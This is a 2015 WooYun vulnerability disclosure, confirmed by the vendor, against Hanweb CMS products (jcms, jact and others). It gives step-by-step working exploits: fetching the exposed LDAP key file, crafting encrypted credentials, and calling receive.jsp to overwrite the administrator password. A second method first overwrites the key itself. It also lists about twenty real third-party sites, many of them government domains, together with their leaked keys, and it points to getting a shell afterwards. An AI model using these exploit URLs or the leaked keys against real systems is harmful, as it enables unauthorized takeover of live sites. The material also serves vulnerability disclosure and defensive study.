当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143528

漏洞标题:大汉网络0day通杀重置管理员密码(双官网测试)

相关厂商:南京大汉网络有限公司

漏洞作者: 矿主

提交时间:2015-09-26 19:15

修复时间:2015-12-27 11:06

公开时间:2015-12-27 11:06

漏洞类型:非授权访问/权限绕过

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-26: 细节已通知厂商并且等待厂商处理中
2015-09-28: 厂商已经确认,细节仅向厂商公开
2015-10-01: 细节向第三方安全合作伙伴开放
2015-11-22: 细节向核心白帽子及相关领域专家公开
2015-12-02: 细节向普通白帽子公开
2015-12-12: 细节向实习白帽子公开
2015-12-27: 细节向公众公开

简要描述:

大汉网络0day通杀,重置管理员密码(官网测试)
全系统全版本通杀,包括:jcms,jact,jsearch,vipchat,vc,xxgk等等。

详细说明:

第一步,大汉网络加解密说明
LDAP密钥配置文件,/interface/ldap/ldapconf.xml
获取密钥:<enckey>o3h2iB8ggnp2</enckey>

clipboard.png


我们可以使用大汉的加解密库进行任意加解密,只要知道服务端的密钥,就可以和服务器进行通讯:

clipboard.png


第二步,保存密钥的ldapconf.xml文件,放在了网站目录,直接可以访问:

(很简单就找到了很多密钥)
http://122.224.183.4:80/jcms/interface/ldap/ldapconf.xml [123123]
http://221.231.137.195/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx]
http://202.108.199.114:80/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx]
http://202.108.199.114/jcms/interface/ldap/ldapconf.xml [OJ9Un5JmpTfN0gJx]
http://6bur.cscec.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2]
http://cengangpcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456]
http://219.146.58.42/jcms/interface/ldap/ldapconf.xml [123123]
http://cq.ea-spring.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2]
http://caiyuan.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456]
http://bingmei.sdcdc.cn/jcms/interface/ldap/ldapconf.xml [uhfuXyOav5pK8hil]
http://3bur.cscec.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2]
http://csbj.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456]
http://changspcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456]
http://blbj.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456]
http://cz.anxiang.gov.cn/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2]
http://chart.sinotrans-csc.com/jcms/interface/ldap/ldapconf.xml [t0NN3oslN3OW]
http://chengdpcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456]
http://bj.clubchinachic.com/jcms/interface/ldap/ldapconf.xml [o3h2iB8ggnp2]
http://dandong.xiangshan.gov.cn/jcms/interface/ldap/ldapconf.xml [123123]
http://dayupcs.bf.zjsgat.gov.cn/jcms/interface/ldap/ldapconf.xml [123456]
http://chdj.sinotrans-csc.com/jcms/interface/ldap/ldapconf.xml [t0NN3oslN3OW]


我们拿官网,进行一下测试:

clipboard.png


访问:http://app.hanweb.com.cn/jcms/interface/ldap/ldapconf.xml
拿到了密钥:<enckey>OJ9Un5JmpTfN0gJx</enckey>
第三步,通过密钥: OJ9Un5JmpTfN0gJx,我们构造如下几个密文:

encrypt : e2V1Z3UdA2sNaw==
decrypt : admin
encrypt : DEIBRXBGcUQOM3g0
decrypt : 123456


第四步,覆盖管理员密码为:admin - 123456
漏洞EXP:
http://app.hanweb.com.cn/jcms/interface/ldap/receive.jsp?state=C&result=T&loginuser=e2V1Z3UdA2sNaw==&loginpass=DEIBRXBGcUQOM3g0
直接登录,自动跳转到登录后台,进入后台Getshell的文章很多啦:

clipboard.png


漏洞分析:

组件功能:
/interface/ldap/receive.jsp这个组件,是一个不同大汉系统间,同步用户的通用组件。
例如:jact系统,需要把jcms用户同步到自己的系统中。
这个组件本来就是,用于创建用户的,如果被创建的用户存在的话,就会进行更新操作,
在这里直接我管理员的密码,进行了重置。
分析一下参数:
loginuser=e2V1Z3UdA2sNaw==
loginpass=DEIBRXBGcUQOM3g0
就是加密后的 admin - 123456,将管理员的密码覆盖了。


源码分析:

# \interface\ldap\receive.jsp
// 获取参数
String loginuser = Convert.getParameter(request,"loginuser", "", true, true); //用户名
String loginpass = Convert.getParameter(request,"loginpass", "", true, true); //密码
// 创建用户对象
Merp_Pub_UserEntity entity = new Merp_Pub_UserEntity();
entity.setVc_loginid(loginuser);
entity.setVc_password(loginpass);
// 验证用户是否合法
ldapBlf.checkValidate(entity);
# 反编译 jcms.blf.user.LdapBLF.java
// 对于传递进来的参数,进行了解密
vc_loginid = decrypt(vc_loginid, this.encrypttype);
vc_pwd = decrypt(vc_pwd, this.encrypttype);
// 对解密后的用户信息,插入或更新数据库信息
insertOrUpdateUser(ldapEn, groupid, 0);

漏洞证明:

新的姿势:
上面提交的重置管理员密码漏洞,是因为ldap密钥泄漏。
/interface/ldap/ldapconf.xml,直接放到了网站目录中,可以直接访问。
我在对官方demo最新版本的测试中,/interface/ldap/ldapconf.xml是无法访问的。
这样就看不到明文的密钥了,所以无法重置管理员密码了。
官方demo:http://demo.hanweb.com/jcms/

clipboard.png


于是我又深入分析了一下,/interface/ldap/receive.jsp这个组件,发现一个惊喜。

if (state.equals("S")) {
//注册应用
boolean b = ldapBlf.writeXML(appname,enckey,ldapurl,webtype,ssourl,encrypttype);
}


原来这个xml的配置文件,是可以覆盖的,所以构造EXP:
http://demo.hanweb.com/jcms/interface/ldap/receive.jsp?state=S&enckey=key888

clipboard.png


构造加解密字符串:
enckey : key888
encrypt : BWcCb3FrBBh8bQ==
decrypt : admin
覆盖管理员密码为:admin - admin


漏洞EXP:
http://demo.hanweb.com/jcms/interface/ldap/receive.jsp?state=C&result=T&loginuser=BWcCb3FrBBh8bQ==&loginpass=BWcCb3FrBBh8bQ==
再一次,成功登陆:

clipboard.png


影响范围:
通过上面两种姿势,新旧版本全系统全版本保证通杀,包括:jcms,jact,jsearch,vipchat,vc,xxgk等等。
轻轻松松几千个站点,上面已经列了一些,不够的话我补充。
!申请加精!
密钥、LDAP、加密解密、编程、案例、通杀、两种姿势、两个官网验证、源码分析,漏洞分析!
!申请加精!

修复方案:

修复设计逻辑漏洞。

版权声明:转载请注明来源 矿主@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-09-28 11:04

厂商回复:

感谢提交

最新状态:

暂无